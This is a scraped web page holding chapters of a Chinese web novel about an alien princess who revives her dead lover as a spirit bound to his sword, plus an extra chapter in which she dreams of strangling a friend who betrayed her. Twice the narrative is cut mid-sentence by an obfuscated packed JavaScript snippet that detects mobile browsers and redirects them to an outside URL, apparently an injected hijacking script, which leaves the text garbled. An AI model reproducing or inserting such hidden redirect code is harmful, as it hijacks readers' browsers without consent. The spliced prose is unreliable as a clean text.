这天,她照常来到女皇的面前,向她汇报近些日子的成果,女皇全神贯注地听着,不时点一点头。 汇报结束后,黎望舒行了一礼,正准备推门离开,女皇却叫住了她:“你最近太勤奋了,注意劳逸结合。” “我明白,多谢您的关心。”黎望舒平静回答,“但前段时间的休假拖慢了工作进度,我想尽快将进度补回来。” “也好。”女皇点点头,沉吟片刻,突然意有所指地问:“你最近为什么不去蓝星了?那个人类让你不高兴了?” “……他死了。”黎望舒顿了一下才回答,嗓音中听不出多少伤感,“作为人类,他活得足够长了。” 这些天里,她有意让工作麻痹自己的大脑,控制着尽量不去想起郁仪,此时冷不丁地被女皇关心情感状况,她心中五味杂陈。 “怎么会?”女皇看起来有些惊讶,“虽然距离遥远,但我还能感应到他灵魂中的印记,人死后,印记应该会随着灵魂一起消散才对。” 黎望舒猛地抬头,方才的冷静不复存在。她愣了一会儿才反应过来,难以置信地说:“您的意思是,他还活着?可……可我亲手将他埋进土里了……” “我无法确定,但印记的确还没消散。”女皇说,“在意的话,不如自己去看看?” “……多谢您的宽容。”黎望舒将手中的文件册放下,割开空间裂隙,迫不及待地踏入其中,“我去去就回。” 经过几次中转后,她再次踏上蓝星的土地,来到了郁仪的深山草屋之中。与她离开时的景象相比,这里看起来并无任何变化,依旧积满灰尘,没有人类活动的迹象。 她屋里屋外简单转了一圈,最后来到屋后的坟墓前,深吸一口气,将铲头插.入那片被她亲手压实的土地。 老实说,她并不认为郁仪还活着。 她亲眼看着他衰老、断气,又亲手将他埋入地底……就算那时他真的还活着,在泥土下埋了十几天也该死透了。但女皇的话勾起了她的希望,哪怕只有一丝可能性,她也要亲自确认到底。 一铲、又一铲。 她看了眼一旁积起的土堆,估摸着即将挖到郁仪的身体,于是她丢开铲子,正打算改用触手拨开土壤,背后却突然传来幽幽的声音—— “我以为你不会回来了。” 那道声音听起来很熟悉,又很年轻,带着一丝幽怨,她脊背僵住,害怕那是自己的幻听。 “为什么不理我?”声音带着冷幽幽的气息凑近了,“十几天不回来,一回来就把我的坟挖开了……你对我有什么不满?” 黎望舒僵着脖子回头,正好对上了郁仪黑漆漆的眸子。他变回了年轻时的模样,一头黑发乌泱泱地漂浮在身后,脸颊贴得极近,鼻尖几乎要抵上她的,瞳孔中满是委屈与不解,甚至含着一丝怒气。 “你……”黎望舒与他大眼瞪小眼地对视了一会儿,回过神来后退两步。她低头扫了眼他模糊不清的双腿,又盯着他半透明的身体看了半天,费解地说:“你怎么变成这样了?” “我也不明白,醒来时就是这副模样了。”郁仪在半空中轻盈地飘了一圈,“我的思维很久没有这样清晰过了,身体也轻飘飘的,感觉很不错……我变成鬼了?” “据我所知,蓝星上并不存在‘鬼’这种生物,那只是民间传说。”黎望舒谨慎地打量他,“你的状态更接近于一团纯粹的精神体。如果精神力足够稳固,精神体的确有可能脱离肉.体单独存在。” 郁仪似懂非懂地点头,问她:“这样的状态能维持多久?” “理论上,如果你的精神力足够强大,那么就能够以精神体的形态永远存活下去,但……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146549|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黎望舒欲言又止,纠结片刻后向郁仪伸出手,他立刻想要将自己的手搭上去,但他半透明的手掌却虚幻地穿过了她的掌心,如同真正的鬼魂似的,无论如何也碰不到她。 “你看,你甚至无法凝成实体。”她用精神触丝探知他的状态,“以你现在的精神力强度,能单独存在已经是个奇迹……等等,你的精神体是以母亲大人的印记为核心聚在一起的,如果这道印记消散,你也会跟着消失。” 触丝探得越深,她双眉也皱得越紧,“年份太长,印记已经不太稳固了。” 郁仪的神色肉眼可见地低落下去。 “我还以为这次我们可以一直在一起。”他低声说。 “还没到放弃的时候,又不是没有办法。”黎望舒想了想,“我会为你找来用于凭依的容器,这样你不必一直花费力量飘荡在外界,能省下不少精神力。族里有一套完整的精神力修炼法,你的精神体与潮星人差别不大,稳定下来之后可以试着练一练。” “容器?”郁仪不知想到什么,露出了抗拒的表情,“我不想待在其他人的身体里与你交流。” “想什么呢。”黎望舒无语,“容器只是容器,字面意思,需要与你契合度高的器物,最好是时时带在身边,片刻不离手的东西……” 说着,她突然停住了,抬眸看向郁仪——郁仪也露出了恍然的表情,显然和她想到了同一处。 “……我的剑?”郁仪率先开口,“它被收在江城的草屋里。” 黎望舒立刻划开空间裂缝,郁仪小心翼翼地收起自己飘散的长发,跟着她钻进了裂缝之中。 “来试试。”一番翻箱倒柜后,黎望舒从漆黑剑鞘中拔出长剑,示意他开始凭依,“放松精神,让意识沉下去。” 郁仪按照她的话闭上双眼,缓缓让身体下沉。剑刃温和地接纳了他,他的精神体包裹住剑刃,没一会儿就完全融入其中,整个过程顺滑得没有一丝阻碍。 黎望舒合上剑鞘,问他:“感觉如何。” “还不错,很温暖。”郁仪的声音听起来有些沉闷,“唔……就是太黑了,什么也看不到,也许我该凭依在剑鞘上。” 那之后,黎望舒将装着他的长剑挂在腰间,带着他回到了潮星,他也终于如愿以偿,可以时时刻刻陪在她的身边。 郁仪对这样的现状还算满意,只有一点烦恼始终无法解决—— “我好想你。”他黏糊糊地附在黎望舒肩头抱怨,“还要修炼多久才能拥有实体?我想握你的手,想抱你,还想……” “安静点,你打扰到我工作了。”黎望舒忍无可忍地打断了他。 “但是我很想你……”他低下头,灵体包住了她大半个身体,半透明的黑发垂在她面前,让她的视野变得模糊。 死过一次后,郁仪似乎变得比以前更加肆无忌惮了,总喜欢这样黏糊地缠着她。她将手中的文件丢开,额角青筋跳动,思考该怎样让他乖乖听话。 “唔……?” 郁仪还想接着缠她,唇舌却突然被精神触丝缠住,紧接着,双臂与发丝也被牢牢缚在身后。他愣愣地看向黎望舒,触到对方似笑非笑的神情时,忍不住心尖一颤。 “想玩?”黎望舒微笑着划开空间裂缝,“我可以陪你玩个够。” ………… 死亡的阴影不再是威胁,郁仪再次确认了她就在自己身边。明明已经没了心脏这种结构,他的胸口却依然又鼓又涨,被饱和的爱意充盈。 他顺从地放弃抵抗,轻飘飘地被黎望舒拖进了深黑的裂缝中。 此后的无数个日月,他们都会陪伴在彼此身边,再无寂寞。 88. 番外三 月色隐于云层之后。 江城基地,漆黑的暗巷里,急促的呼吸声混着凌乱脚步逐渐接近。一个瓜子脸的年轻姑娘从小巷中冲出,惊恐地向身后望了一眼,又马不停蹄地狂奔进另一条小巷。 她不住地喘着气,大脑因缺氧而昏沉,喉咙被冰冷空气刮得生疼,连呼吸都带着铁锈味。即便如此,她也不敢停下脚步,拼了命地向基地中心的那片亮光跑去。 这样下去,所有人都会死……她必须尽快将逼近的危机告知方将军! 光亮离她越来越近了。还差一步就能踏出暗巷,她面上露出如释重负的笑意,正要伸手去触碰那片光芒时,异变突生——一根触手悄无声息地接近她,从身后勒住她的腰止住了她的冲势,又狠狠地将她向后拖去。 “唔唔——!” 双臂连同腰肢一起被缠住,她拼命蹬着腿挣扎,想要张口呼救,嘴巴却被一只手用力封住了。有人从背后温柔地抱住了她,潮湿的、带着水汽的气息从背后包裹上来,让她几近窒息。 “别怕,是我。夜这么深,你要去哪里……小蕊?” 熟悉的轻柔声音在耳边叫出了她的昵称,杜蕊脖子上起了一片鸡皮疙瘩。她一下子安静下来,绷紧了身体,僵硬地不敢动弹。 “你不会大喊大叫的,对吗?”背后那人向她确认,“我们是最好的朋友,你答应过我,永远不会背叛我。” 杜蕊大气也不敢出,僵着脖子点头,身后那人轻笑一声,将手从她嘴上移开了。 腰上的触手没有松开,杜蕊维持着被缚的姿势缓缓回头,看向那人一如既往苍白的脸颊——她的脸上挂着微笑,但那笑容不达眼底,甚至泛着冷意,光是看着就会令人感到身体发寒。 “你……你变了。”杜蕊牙关打战,拼命压住心中的恐惧,直直地盯着那人琥珀色的瞳孔,“自从怪物出现的那一天,你就像变了一个人似的,你怎么会变成这样?你不是我认识的那个黎望舒……你究竟是什么人?” “我没有变过,只是你从来不了解真实的我。”黎望舒看着她,“……你听见了我和塞拉斯的交谈,对吗?” 杜蕊脸色发青。 “我明明叮嘱过你,晚上一定要早点睡。”黎望舒自顾自地说,“不过别担心,我不会杀你的,我会让你永远留在我身边,过衣食无忧、不用努力、也没有烦恼的日子……这是你梦想中的生活。” “那其他人呢?”杜蕊死死地盯着她,“我的妹妹和家人也在这个基地里,你要把他们送进怪物的口中?” “……好吧。如果你非要留下他们的命,我可以答应你。”黎望舒沉默片刻,低声说,“但只限于你的家人,我不可能为了你放过所有人。” “为什么?!”杜蕊崩溃地问她,“为什么你一定要杀死所有的人类?我不懂……你从前不是这样的,你不是一个反社会人格!你会去孤儿院做义工,会把工资中的一大部分打给院长妈妈,你以前明明是个温柔又善良的人,为什么会变成现在这样?” 黎望舒沉默了,避开了她的眼神,看起来有些动摇。 杜蕊看到了希望,连忙绞尽脑汁地寻找能让她心软的话题,“你忘了孤儿院的杨院长了吗?她那样费心费力地把你养大,最后却死在了怪物口中,你不觉得悲伤吗?这个基地里有成千上万的人,如果放任怪物冲进来,父母会在孩子的眼前被咬死,孩子会在父母面前被吃掉……你真的忍心看到那一幕吗?” “……够了!”黎望舒咬牙打断了她,露出了杜蕊看不懂的痛苦神色,“不要试图动摇我的心,我有不得不这样做的理由!别再负隅顽抗了,那些人与你没有关系,我会给他们一个痛快,你怎么知道这样的死亡对他们来说不是解脱?你一直嫌弃上班苦、赚钱累,我能给你想要的生活,这有什么不好?” 黎望舒态度坚定,杜蕊望着她那张熟悉又陌生的面孔,只觉得心灰意冷。 “……我明白了。”杜蕊垂下头,肩膀无力地塌下来,“我说服不了你,但我也不想死……希望你遵守诺言,放过我的妹妹和家人。” “我会的。” 黎望舒神色稍缓,她伸出手把跪坐在地上的杜蕊拉了起来,“来,我们回去吧。” 她看出了杜蕊仍然心有芥蒂,但并没有在意。在她看来,杜蕊是个一直生活在她保护之下的弱小人类,胆小又懦弱,因为怕死而放弃计划是非常正常的行为。 她转头向居所的方向走去,以为杜蕊会和平时一样默默跟上来,可身后传来的脚步声却越来越快、越来越远,向着截然不同的方向疾奔而去。 她察觉到不对劲,愕然回首。 “方将军——”杜蕊一边跑,一边声嘶力竭地向着光亮的方向大喊,“基地里有怪物……他们想要毁灭基地,杀掉所有人!” 毫无疑问,这是背叛——杜蕊背叛了她,这是绝对不应被原谅的行为。 失控的情绪从脑中向身体席卷,黎望舒的四肢动得比思维更快。她朝杜蕊的方向扑了上去,狠狠地掐住对方的脖子,将她按在地上。 “你说过不会背叛我!”她双目通红,手上用力,嘶吼着说。 “那时……我还不知道你是这样的人……咳咳……” 杜蕊说得艰难,她试图将脖子上的手扒拉下来,但黎望舒的力气实在太大。很快,她嘴唇发紫,双眼上翻,意识也变得模糊。 “背叛我的人都该死。”黎望舒喃喃地说,疯魔般又加大了手上的力气。许久后,她才从那股暴虐的情绪中抽离出来,被烫到似的松开了双手,盯着杜蕊不再动弹的身体发愣。 “声音是从那边传来的!” “快去搜!” 混杂的脚步声逐渐接近,大约是方镇岳的警卫队听到了动静。她无心理会那群人,捞起杜蕊的尸体,后退一步进入了空间裂缝中。 “啧啧……这可真是悲惨。” 旁观了全过程的塞拉斯假模假样地感叹,“没想到弱小的宠物居然有胆量反咬主人一口。殿下,这不是你的错,不要太过悲伤……但您也该由此看清人类了。他们与我们注定没有共同语言,您对他们的怜悯会招来祸患,一味拖延计划只会降低女皇陛下对您的评价。” “闭嘴。”黎望舒从牙缝里挤出两个字。 ………… 黎望舒从梦中惊醒。 她漂浮在柔软的水泡中,胸膛急促地起伏两下。她望着精致的天花板眨了眨眼,好一会儿才反应过来,这里不是江城基地,而是她在潮星的卧室。 在梦里,她亲手杀死了自己的好友,每一个细节她都看得清清楚楚,作为一个梦来说,它太过真实了。 这段经历似乎在哪里听过……她对这个梦境的由来有了猜测。 “怎么了?” 一双冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160539|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷的手穿过水泡抚上她的脸颊,她微微偏头,对上了郁仪满含担忧的眸子,“你看起来脸色不好。” 他凭依着的剑被展示架托起,端正地供在柜子上,剑刃上没有丝毫锈蚀,在水中泛着雪亮的光,剑鞘与绑带斜斜地摆在一边。 “……没什么。”黎望舒平复心绪,摇了摇头,从水泡中钻出,“只是做了个噩梦。” “这还真是稀奇,你似乎不经常做梦。”郁仪看着她更衣洗漱,很有眼力见地为她拿来了外衣,“你睡觉时眼球从来不动,安稳极了。” “你每天都在偷看我睡觉的样子?”黎望舒挑眉。 “不是偷看,是观察。”郁仪纠正她,“我不需要睡眠,但你需要,一个人的时间太无聊了。” 黎望舒看着他递过来的外套皱眉:“怎么是这一件?换一件正式一点的。” “你忘了?今天是定好的休息日。”郁仪回答,“你不需要工作,也没有会议安排。” “……的确。”她看了眼日历,揉了揉太阳穴,“最近事太多,忙着忙着就忘了。时间不早了,得加快速度,他们一定等急了。” 她系好外衣,又将郁仪的长剑挂在腰间,确认一切准备就绪后,推门走了出去。郁仪不愿引人注目,于是钻进了剑鞘之中。 “殿下,早安!” 戚依依等在门口,见黎望舒推门出来,立刻充满活力地向她行了个礼。 前不久,她刚刚成年就通过了骑士选拔,如愿以偿地成为了王储身边的见习骑士,此时一身利落骑士装束,左肩上挂着一块小小的披风,看起来神气十足。 “早。”黎望舒笑着冲她点头,“还没到我们约好的时间,我就知道你一定会提前过来。” 戚依依不好意思地捋了捋自己的薄手套,“嘿嘿……太久没去蓝星,我很期待嘛。潮星什么都好,就是食物太乏味了,每天吃饭都味同嚼蜡。” “你对我们提供的餐食有什么不满?”塞拉斯在一旁微笑。 “……不,骑士长大人,是我太挑食了。骑士队的伙食非常好,无可挑剔!”戚依依下意识挺直了背。 相处了一段时间后,戚依依看出了这位首席骑士长大人看自己不太顺眼。 她也不是不能理解,自己毕竟有过刺杀王储的前科……好在骑士长大人虽然态度一直不咸不淡,但做事还算公正,自从加入骑士队,她还没有受到过不公平的待遇。 郁仪听到动静,悄无声息地从剑鞘中钻了出来,黏糊地飘在黎望舒身边,又抬眸望向塞拉斯,塞拉斯的目光立刻被他吸引过去。 塞拉斯面上没什么表情,淡然地与郁仪对视,但手套上越来越深的皱褶显露出他此时的心绪并不平静。 “……好了,我们走吧。” 空气中火药味蔓延开来,黎望舒头痛地将郁仪按回剑中,又向塞拉斯递了个不许惹事的眼神,快速划开了空间裂缝。 这两个人格外不对付,一见面必定会阴阳怪气地掐架,她实在厌倦了调停人的身份。 “好耶!”戚依依沉浸在休息日出门玩乐的兴奋中,第一个跳进裂缝,丝毫没察觉到场上的暗流涌动。 看着她这副没心没肺的样子,黎望舒的心情也轻松了不少,她笑着跟了上去。 平稳的日常仍在继续。黎望舒衷心希望,这样安宁又宝贵的日子可以一直持续下去……永不终结。